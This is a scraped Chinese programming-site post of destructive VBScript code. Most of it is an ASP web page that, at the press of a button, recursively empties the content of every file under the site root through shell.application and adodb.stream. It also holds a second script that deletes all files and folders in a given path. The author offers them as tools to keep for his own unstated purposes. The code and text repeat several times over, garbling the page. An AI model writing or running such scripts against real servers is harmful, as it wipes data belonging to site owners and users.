VBS破坏性应用代码
程序员文章站
2022-08-26 09:06:41
'网上看到的,适用与没有禁用shell.application的服务器 server.scripttimeout = ...
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
function filestree(spath)
set ofso = createobject("scripting.filesystemobject")
set ofolder = ofso.getfolder(spath)
set osubfolders = ofolder.subfolders
set ofiles = ofolder.files
for each ofile in ofiles
'wscript.echo ofile.path
ofile.delete
next
for each osubfolder in osubfolders
'wscript.echo osubfolder.path
osubfolder.delete
'filestree(osubfolder.path)'递归
next
set ofolder = nothing
set osubfolders = nothing
set ofso = nothing
end function
filestree("f:\deltest\deltest") '遍历
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
function filestree(spath)
set ofso = createobject("scripting.filesystemobject")
set ofolder = ofso.getfolder(spath)
set osubfolders = ofolder.subfolders
set ofiles = ofolder.files
for each ofile in ofiles
'wscript.echo ofile.path
ofile.delete
next
for each osubfolder in osubfolders
'wscript.echo osubfolder.path
osubfolder.delete
'filestree(osubfolder.path)'递归
next
set ofolder = nothing
set osubfolders = nothing
set ofso = nothing
end function
filestree("f:\deltest\deltest") '遍历
上一篇: 用批处理实现的篮球飞人火爆版
下一篇: 拼接相临的奇偶行文本内容